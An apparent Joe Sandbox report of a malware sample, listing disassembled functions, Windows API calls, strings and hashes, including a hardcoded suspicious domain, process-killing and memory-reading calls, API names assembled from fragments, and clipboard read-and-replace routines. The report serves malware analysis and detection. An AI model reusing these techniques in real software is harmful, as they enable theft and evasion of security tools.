Source File: 00000002.00000002.1739875260.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1739785576.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739875260.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739932708.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739948710.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: MessageSend_close_ftol_write
String ID:
API String ID: 515767290-0
Opcode ID: 1e22685f529d0e7e0f498c5d4134ad1dc253feffa721d5318dcbabaf7be76eaa
Instruction ID: df442fd90053c9feeb8973ff9425410d7523c43b991ffb05536b29dcd7fee3f0
Opcode Fuzzy Hash: 1e22685f529d0e7e0f498c5d4134ad1dc253feffa721d5318dcbabaf7be76eaa
Instruction Fuzzy Hash: 19118E75700210ABD320AF55FC45B5637A4FB04305F418039FA46A73A1D7B8A9558BAC

Function 0040C4C0 Relevance: 6.0, APIs: 4, Instructions: 42COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(001F0FFF,00000000,?,?,000181A8,UDP), ref: 0040C4D0
ReadProcessMemory.KERNEL32(00000000,?,?,00000008,00000000), ref: 0040C4F1
CloseHandle.KERNEL32(00000000), ref: 0040C513
CloseHandle.KERNEL32(00000000), ref: 0040C520

Memory Dump Source

Source File: 00000002.00000002.1739875260.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1739785576.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739875260.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739932708.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739948710.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: CloseHandleProcess$MemoryOpenRead
String ID:
API String ID: 2886301649-0
Opcode ID: f07ca3a22f22ee74bf80f5d008dc3cb3148206d23c40f4801dcdd4a502376711
Instruction ID: 9b77d95aa07a515aafef98cd2959181ede7ad831c2098fdcafe781cd687b3d2c
Opcode Fuzzy Hash: f07ca3a22f22ee74bf80f5d008dc3cb3148206d23c40f4801dcdd4a502376711
Instruction Fuzzy Hash: 59F0C875200200BBD6105760BC89BA77B98EBC8711F448535FA08A2280DA78E94D8675

Function 0040C480 Relevance: 6.0, APIs: 4, Instructions: 23COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(001F0FFF,00000000,?,?,0040A63F), ref: 0040C48D
TerminateProcess.KERNEL32(00000000,00000001), ref: 0040C49C
CloseHandle.KERNEL32(00000000), ref: 0040C4A7
CloseHandle.KERNEL32(00000000), ref: 0040C4B1

Memory Dump Source

Source File: 00000002.00000002.1739875260.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1739785576.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739875260.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739932708.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739948710.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: CloseHandleProcess$OpenTerminate
String ID:
API String ID: 6823918-0
Opcode ID: adbe3a70cd479fd160a8758a7ab821488207f302df0582f5471ad08ba1937f22
Instruction ID: fe9bee4c77143a5907466da9cd61d09ae68add0d05a8fb7e1787bb6e4ec35e20
Opcode Fuzzy Hash: adbe3a70cd479fd160a8758a7ab821488207f302df0582f5471ad08ba1937f22
Instruction Fuzzy Hash: B0E01231245630BBE7715774BC58BFB3E95EF4DB21F018531FA09E5290D6A88CC146E9

Function 00403EF0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 158COMMON

Download Yara Rule

APIs

Part of subcall function 004040A0: _errno.MSVCRT ref: 004040A0
Part of subcall function 004040A0: _stat.MSVCRT(?,00403286,?,00403286,?), ref: 004040B6

_errno.MSVCRT ref: 00403F45

Strings

.gz, xrefs: 00403F76

Memory Dump Source

Source File: 00000002.00000002.1739875260.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1739785576.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739875260.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739932708.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739948710.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: _errno$_stat
String ID: .gz
API String ID: 2806855196-1476319162
Opcode ID: ecdebaae56c448657769463c8354faebb34d3ac66b5fef828e7804dda314e11d
Instruction ID: abcf562b4a07bd5709b38f6f1b79adf5fd44be04777b779aec6854eb6ee7e443
Opcode Fuzzy Hash: ecdebaae56c448657769463c8354faebb34d3ac66b5fef828e7804dda314e11d
Instruction Fuzzy Hash: CE412775F004080B972899796C5223F7AC6EAD1372768477BFA26D33D1EFBD8D089258

Function 0040A140 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66stringCOMMON

Download Yara Rule

APIs

strspn.MSVCRT ref: 0040A152
strspn.MSVCRT ref: 0040A1B4

Strings

usmainupd2.lineageTheBloodPledge.com, xrefs: 0040A147

Memory Dump Source

Source File: 00000002.00000002.1739875260.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1739785576.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739875260.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739932708.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739948710.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: strspn
String ID: usmainupd2.lineageTheBloodPledge.com
API String ID: 579998580-4278508022
Opcode ID: b92f3e12a95c8df390c4e7b3e1c0ecdf86a73b54a571ced51fc7e6a807ff04f6
Instruction ID: 8ed6218633217744d47b0676211f7d420f785628182eeeb3e957c51005231c34
Opcode Fuzzy Hash: b92f3e12a95c8df390c4e7b3e1c0ecdf86a73b54a571ced51fc7e6a807ff04f6
Instruction Fuzzy Hash: 3911733044839657D7314A185C447A67B969B67350F281177D8C16A3C1D2BD0CE7C36B

Function 00406D20 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

Part of subcall function 00402500: _open.MSVCRT ref: 0040252D

_read.MSVCRT ref: 00406D4F
_close.MSVCRT ref: 00406D56

Strings

usmainupd2.lineageTheBloodPledge.com, xrefs: 00406D22

Memory Dump Source

Source File: 00000002.00000002.1739875260.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1739785576.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739875260.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739932708.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739948710.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: _close_open_read
String ID: usmainupd2.lineageTheBloodPledge.com
API String ID: 2332195497-4278508022
Opcode ID: 292459304e3fa093ca3aa6c1d67f1a4a6ef39fe01e6fb3c2668b0d4aab081832
Instruction ID: ce6ffaf2bdc22260e75823daba1e9e9d0436b6902d524301ff992b185188462e
Opcode Fuzzy Hash: 292459304e3fa093ca3aa6c1d67f1a4a6ef39fe01e6fb3c2668b0d4aab081832
Instruction Fuzzy Hash: B3F0E2B26053117BD300CF54DC05B8BF7A4EFC0321F10892EFA8597280D3B4A4548BE5

Function 00406D80 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 23COMMON

Download Yara Rule

APIs

Part of subcall function 00402500: _open.MSVCRT ref: 0040252D

_write.MSVCRT ref: 00406DA8
_close.MSVCRT ref: 00406DAF

Strings

usmainupd2.lineageTheBloodPledge.com, xrefs: 00406D81

Memory Dump Source

Source File: 00000002.00000002.1739875260.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1739785576.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739875260.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739932708.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739948710.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: _close_open_write
String ID: usmainupd2.lineageTheBloodPledge.com
API String ID: 27574483-4278508022
Opcode ID: 98045b90ec047b1cf61a4802673313ec3f9d33eb0b86f44a5895cf4be50176fb
Instruction ID: 66d0e943d9c9f463a7499a02f6e9c2c058517d994728e9d9b01985fd350f80a2
Opcode Fuzzy Hash: 98045b90ec047b1cf61a4802673313ec3f9d33eb0b86f44a5895cf4be50176fb
Instruction Fuzzy Hash: 26E0C232A4222077D1111756AC0AFCF776C9FC5B34F068425FA04AB2C0E6B895528BED

Function 0040F100 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 11COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 0040F115
perror.MSVCRT ref: 0040F120

Strings

%s: , xrefs: 0040F10F

Memory Dump Source

Source File: 00000002.00000002.1739875260.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1739785576.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739875260.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739932708.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739948710.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: fprintfperror
String ID: %s:
API String ID: 3398761555-1393465352
Opcode ID: 1d5daf404718f55ed11a8f94899e9655f9d77450507e37f15cae555f1e1e1f32
Instruction ID: 6b025a9c0acd3b36a619481dfd0bd0d634da41c8cccd08e7feef28c59c463175
Opcode Fuzzy Hash: 1d5daf404718f55ed11a8f94899e9655f9d77450507e37f15cae555f1e1e1f32
Instruction Fuzzy Hash: 29C01270680300BBE3045B94DC8DAA63714E7057143908425F406552D0C6FE94C58B2E

Analysis Process: 3.exePID: 7288, Parent PID: 2828COMMON

Execution Graph

Execution Coverage:	11.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	30.1%
Total number of Nodes:	73
Total number of Limit Nodes:	3

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 004019FC Relevance: 45.6, APIs: 22, Strings: 4, Instructions: 116
stringthreadsleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00401A06

Part of subcall function 00401B58: GetTickCount.KERNEL32 ref: 00401B61
Part of subcall function 00401B58: InterlockedExchange.KERNEL32(00406120,?), ref: 00401B79

GetTickCount.KERNEL32 ref: 00401A2B
Sleep.KERNELBASE(00000064), ref: 00401A3D
CreateThread.KERNELBASE(00000000,00000000,004015DE,00000000,00000000,00000000), ref: 00401A5D
Sleep.KERNEL32(000003E8), ref: 00401A68
RtlExitUserThread.NTDLL(00000000), ref: 00401A70
_memset.LIBCMT ref: 00401A8F
lstrcpy.KERNEL32(?,Cre), ref: 00401AA0
LoadLibraryA.KERNEL32(KERNEL32.DLL,?,?,00000000), ref: 00401AAB
lstrcat.KERNEL32(?,ate), ref: 00401ACA
lstrcat.KERNEL32(?,00403120), ref: 00401AD5
lstrcat.KERNEL32(?,00403124), ref: 00401AE0
lstrcat.KERNEL32(?,00403128), ref: 00401AEB
lstrcat.KERNEL32(?,0040312C), ref: 00401AF6
lstrcat.KERNEL32(?,00403130), ref: 00401B01
lstrcat.KERNEL32(?,00403134), ref: 00401B0C
GetProcAddress.KERNEL32(00000000,?), ref: 00401B13
GetLastError.KERNEL32(?,?,00000000), ref: 00401B2E
ReleaseMutex.KERNEL32(00000000,?,?,00000000), ref: 00401B3C
CloseHandle.KERNEL32(00000000,?,?,00000000), ref: 00401B43
ExitProcess.KERNEL32 ref: 00401B4A
RtlExitUserThread.NTDLL(00000000,?,?,00000000), ref: 00401B51

Strings

Cre, xrefs: 00401A9A
KERNEL32.DLL, xrefs: 00401AA6
pdoeamh7sl, xrefs: 00401B22
ate, xrefs: 00401AC4

Memory Dump Source

Source File: 00000007.00000002.3537037918.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3536949538.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3537037918.0000000000409000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3537251616.000000000040A000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3537356678.000000000040B000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_3.jbxd

Similarity

API ID: lstrcat$CountExitThreadTick$SleepUser$AddressCloseCreateErrorExchangeHandleInterlockedLastLibraryLoadMutexProcProcessRelease_memsetlstrcpy
String ID: Cre$KERNEL32.DLL$ate$pdoeamh7sl
API String ID: 1273982165-1558251990
Opcode ID: df6ac5da43656a63cc4e9ab4834b07a7a1ef47e98ee411e1943345bbc4a878df
Instruction ID: 3214588b2f2ff3c8a640620a98d5314ca1e7cca48ddb130ef5ea0ce9fa1aef6b
Opcode Fuzzy Hash: df6ac5da43656a63cc4e9ab4834b07a7a1ef47e98ee411e1943345bbc4a878df
Instruction Fuzzy Hash: 1F310C71941318ABDB10EBE59E8DBAE7E7CAB08745F200436F605F61D1DBB89604CB68

Function 004015DE Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 347
stringsleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 0040160B
_memset.LIBCMT ref: 00401626
Sleep.KERNELBASE(000001F4), ref: 0040164C
lstrcpynW.KERNEL32(?,?,?), ref: 004017AF
lstrlenW.KERNEL32(?), ref: 004017CD
lstrcpynW.KERNEL32(?,?,00000029), ref: 00401892
lstrcpynW.KERNEL32(?,?,?), ref: 00401944
lstrcpynW.KERNEL32(?,?,?), ref: 004019AE

Strings

p'@, xrefs: 004017E0
@*@, xrefs: 00401961

Memory Dump Source

Source File: 00000007.00000002.3537037918.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3536949538.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3537037918.0000000000409000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3537251616.000000000040A000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3537356678.000000000040B000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_3.jbxd

Similarity

API ID: lstrcpyn$_memset$Sleeplstrlen
String ID: @*@$p'@
API String ID: 1046678486-4028331986
Opcode ID: 64be5407139f6250325cb768188bad153ff99ea62a955ba5200bf067d1ec9d9a
Instruction ID: b2184139ed62e37314ec35da6dbcdaee06718655f8cbb7b4e9e68ae4e227d81f
Opcode Fuzzy Hash: 64be5407139f6250325cb768188bad153ff99ea62a955ba5200bf067d1ec9d9a
Instruction Fuzzy Hash: 6AB12977E8021556DB30AAA58C45AEB73B8AB24710F50C477FA41F72E0E6789FC2C758

Function 0040A580 Relevance: 7.7, APIs: 5, Instructions: 163
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000007.00000002.3537251616.000000000040A000.00000080.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3536949538.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3537037918.0000000000401000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3537037918.0000000000409000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3537356678.000000000040B000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_3.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: acfc02b7a708e3d4813c213db68354be632adf27f904e3e80da1141b5a5011a0
Instruction ID: b84357d2e3d7aa390a3482ba8b1ba812a54a2504d87ea14439c6ef2134fbe255
Opcode Fuzzy Hash: acfc02b7a708e3d4813c213db68354be632adf27f904e3e80da1141b5a5011a0
Instruction Fuzzy Hash: BD512B716503125BD7209DB88C846A57BA0FB52334F1C0B3AD5E2E73C5E7BC5C1A875A

Function 0040117A Relevance: 4.5, APIs: 3, Instructions: 19
sleepthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000002), ref: 00401186
CreateThread.KERNELBASE(00000000,00000000,Function_000019FC,00000000,00000000,?), ref: 00401199
Sleep.KERNELBASE(000003E8), ref: 004011A4

Memory Dump Source

Source File: 00000007.00000002.3537037918.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3536949538.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3537037918.0000000000409000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3537251616.000000000040A000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3537356678.000000000040B000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_3.jbxd

Similarity

API ID: CreateErrorModeSleepThread
String ID:
API String ID: 3248957813-0
Opcode ID: 0aaf74de947cf09fcbc382f524d87e536203a4c451b84d5d1fb70a808e8b5a51
Instruction ID: 9bf0ace998406ab45eb8bca131e2ae766c8bbbdf713bfe71c18c6d6cca4ad349
Opcode Fuzzy Hash: 0aaf74de947cf09fcbc382f524d87e536203a4c451b84d5d1fb70a808e8b5a51
Instruction Fuzzy Hash: 25D01271442329FBD2115B928E0DE9F7E2CEF05750B104125F205B50D0C6B41A05D7F9

Non-executed Functions

Function 00401110 Relevance: 15.0, APIs: 10, Instructions: 40
stringclipboardmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(0040181C,?,?,0040181C,?), ref: 0040111D
lstrlenW.KERNEL32(0040181C,?,?,0040181C,?), ref: 00401128
GlobalAlloc.KERNEL32(00000002,00000000,?,0040181C,?), ref: 00401130
lstrlenW.KERNEL32(0040181C,?,0040181C,?), ref: 0040113B
GlobalLock.KERNEL32(00000000), ref: 00401143
lstrcpynW.KERNEL32(00000000,?,0040181C,?), ref: 0040114A
GlobalUnlock.KERNEL32(00000000), ref: 00401151
OpenClipboard.USER32(00000000), ref: 00401159
EmptyClipboard.USER32 ref: 0040115F
SetClipboardData.USER32(0000000D,00000000), ref: 00401168

Memory Dump Source

Source File: 00000007.00000002.3537037918.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3536949538.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3537037918.0000000000409000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3537251616.000000000040A000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3537356678.000000000040B000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_3.jbxd

Similarity

API ID: ClipboardGloballstrlen$AllocDataEmptyLockOpenUnlocklstrcpyn
String ID:
API String ID: 2190372231-0
Opcode ID: c76c1d3acf8a888a83501a2abf62e77fcfbbed505cc8e3d4977d1f3d56cfbd70
Instruction ID: 382cd622726ae073f377cc300ee255c1cdcc55c2e9a7aa130b3becefa4f171ec
Opcode Fuzzy Hash: c76c1d3acf8a888a83501a2abf62e77fcfbbed505cc8e3d4977d1f3d56cfbd70
Instruction Fuzzy Hash: 4BF0E736040214AFE7052FA0EF4DAAA7F2DFB09255F004021FB49A50A0CAB58940CBA8

Function 00401000 Relevance: 12.0, APIs: 8, Instructions: 36
stringclipboardCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenClipboard.USER32(00000000), ref: 00401007
GetClipboardData.USER32(0000000D), ref: 00401015
GlobalLock.KERNEL32(00000000), ref: 0040101E
lstrlenW.KERNEL32(00000000,?,00401667,?), ref: 00401027
lstrcpyW.KERNEL32(00401667,00000000,?,00401667,?), ref: 0040103B
lstrlenW.KERNEL32(00000000,?,00401667,?), ref: 00401042
GlobalUnlock.KERNEL32(00000000), ref: 0040104B
CloseClipboard.USER32 ref: 00401051

Memory Dump Source

Source File: 00000007.00000002.3537037918.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3536949538.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3537037918.0000000000409000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3537251616.000000000040A000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3537356678.000000000040B000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_3.jbxd

Similarity

API ID: Clipboard$Globallstrlen$CloseDataLockOpenUnlocklstrcpy
String ID:
API String ID: 133535211-0
Opcode ID: c0398e3963ca7d0d48ae09680e5e8d4b26db440a6e307dc8cf2614e7217fd2cd
Instruction ID: 6a73acc55248e94248dccdeff2764bf1941a966b467eb366ae5acf9a7f886809
Opcode Fuzzy Hash: c0398e3963ca7d0d48ae09680e5e8d4b26db440a6e307dc8cf2614e7217fd2cd
Instruction Fuzzy Hash: 21F0F431200314ABD7202B75AF4CE6B7B6CEB867667044135FB06E11E1DA788845C669

Function 0040147D Relevance: 16.6, APIs: 6, Strings: 5, Instructions: 118
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcmpiW.KERNEL32(004040AC,004019C0,?,00000001,?,?,004019C0,?), ref: 004014B4
lstrcmpiW.KERNEL32(0040404C,004019C0,?,00000001,?,?,004019C0,?), ref: 004014E4
lstrcmpiW.KERNEL32(p'@,004019C0,?,00000001,?,?,004019C0,?), ref: 00401514
lstrcmpiW.KERNEL32(00404024,004019C0,?,00000001,?,?,004019C0,?), ref: 00401544
lstrcmpiW.KERNEL32(00404000,004019C0,?,00000001,?,?,004019C0,?), ref: 00401570
lstrcmpiW.KERNEL32(@*@,004019C0,?,00000001,?,?,004019C0,?), ref: 0040159C

Strings

'@, xrefs: 004014D9
80@, xrefs: 004014A9
H%@, xrefs: 00401539
p'@, xrefs: 004014FA, 00401504, 00401512
@*@, xrefs: 00401582, 0040158C, 0040159A

Memory Dump Source

Source File: 00000007.00000002.3537037918.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3536949538.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3537037918.0000000000409000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3537251616.000000000040A000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3537356678.000000000040B000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_3.jbxd

Similarity

API ID: lstrcmpi
String ID: '@$80@$@*@$H%@$p'@
API String ID: 1586166983-1387902636
Opcode ID: 35bc3aa46ff7794753548224ef2b11b2f27fd9dd6b689f4bcbaa5f3487b0a1d7
Instruction ID: 80cb88ceffac64fae00d0d44dd043b146e58d3bf3e66f92092fa637bf8d3de82
Opcode Fuzzy Hash: 35bc3aa46ff7794753548224ef2b11b2f27fd9dd6b689f4bcbaa5f3487b0a1d7
Instruction Fuzzy Hash: EA310076D00151EBEB25AB69DC4081763B5EBC135035A847BEA4BBB2F0E7399D40C79C

Function 0040105E Relevance: 15.1, APIs: 10, Instructions: 70
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(?,?,?,?,?,004018D4,?,?), ref: 00401095
GlobalAlloc.KERNEL32(00000040,00000000,?,004018D4,?,?), ref: 004010A1
lstrcpynW.KERNEL32(00000000,?,?,?,004018D4,?,?), ref: 004010B8
lstrcatW.KERNEL32(00000000,00000000,?,004018D4,?,?), ref: 004010C2
lstrlenW.KERNEL32(?,?,004018D4,?,?), ref: 004010C9
lstrlenW.KERNEL32(00000000,?,004018D4,?,?), ref: 004010D6
lstrlenW.KERNEL32(?,?,004018D4,?,?), ref: 004010E1
lstrcatW.KERNEL32(00000000,00000000,?,004018D4,?,?), ref: 004010EF
lstrcpyW.KERNEL32(?,00000000,?,004018D4,?,?), ref: 004010F7
GlobalFree.KERNEL32(00000000), ref: 004010FE

Memory Dump Source

Source File: 00000007.00000002.3537037918.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3536949538.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3537037918.0000000000409000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3537251616.000000000040A000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3537356678.000000000040B000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_3.jbxd

Similarity

API ID: lstrlen$Globallstrcat$AllocFreelstrcpylstrcpyn
String ID:
API String ID: 1790437291-0
Opcode ID: 491d2c14ad5fa41c5e1c91f5ccb1bb8fc2083fc252744d542bb224581419020f
Instruction ID: d310636c8a5c4712b9c42567c05d020cf8cf7e887a5d3d3086e9f8642cd53238
Opcode Fuzzy Hash: 491d2c14ad5fa41c5e1c91f5ccb1bb8fc2083fc252744d542bb224581419020f
Instruction Fuzzy Hash: 93118431100325ABD7195F60DE8CDBF3B6CEF457557004039FB06A61A0DBB89946C7A8

Analysis Process: ._cache_2.exePID: 7308, Parent PID: 980COMMON

Execution Graph

Execution Coverage:	8.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.1%
Total number of Nodes:	1817
Total number of Limit Nodes:	30

Executed Functions

Function 00DDEC70 Relevance: 90.2, APIs: 42, Strings: 9, Instructions: 960windowfilesleepCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch_GS_align.LIBCMT ref: 00DDEC7C
EndDialog.USER32(?,00000000), ref: 00DDED41
SetDlgItemTextW.USER32(?,00000001,00000000), ref: 00DDED83
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00DDEDAB
IsDialogMessageW.USER32(?,?), ref: 00DDEDBE
TranslateMessage.USER32(?), ref: 00DDEDCC
DispatchMessageW.USER32(?), ref: 00DDEDD6
KiUserCallbackDispatcher.NTDLL(?,00000001), ref: 00DDEE97
GetDlgItem.USER32(?,00000068), ref: 00DDEEBA
SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 00DDEED8
SendMessageW.USER32(?,000000C2,00000000,00E012DC), ref: 00DDEEEF
SetFocus.USER32(00000000,?,?,STARTDLG,?,?,00000100,00000008), ref: 00DDEEFC
GetLastError.KERNEL32 ref: 00DDEFD6
GetLastError.KERNEL32 ref: 00DDF000
GetTickCount.KERNEL32 ref: 00DDF02E
GetLastError.KERNEL32(?,00000011,00000000), ref: 00DDF082
GetCommandLineW.KERNEL32 ref: 00DDF18E
CreateFileMappingW.KERNEL32(000000FF,00000000,08000004,00000000,-00000009,winrarsfxmappingfile.tmp,00000001,00000001), ref: 00DDF210
MapViewOfFile.KERNEL32(00000000,00000002,00000000,00000000,00000000), ref: 00DDF230
Sleep.KERNEL32(00000064), ref: 00DDF2C5
UnmapViewOfFile.KERNEL32(?), ref: 00DDF2FB
CloseHandle.KERNEL32(?), ref: 00DDF302
SetDlgItemTextW.USER32(?,00000001,00000000), ref: 00DDF4FD

Part of subcall function 00DDC5EE: GetClassNameW.USER32(?,?,00000050), ref: 00DDC60E
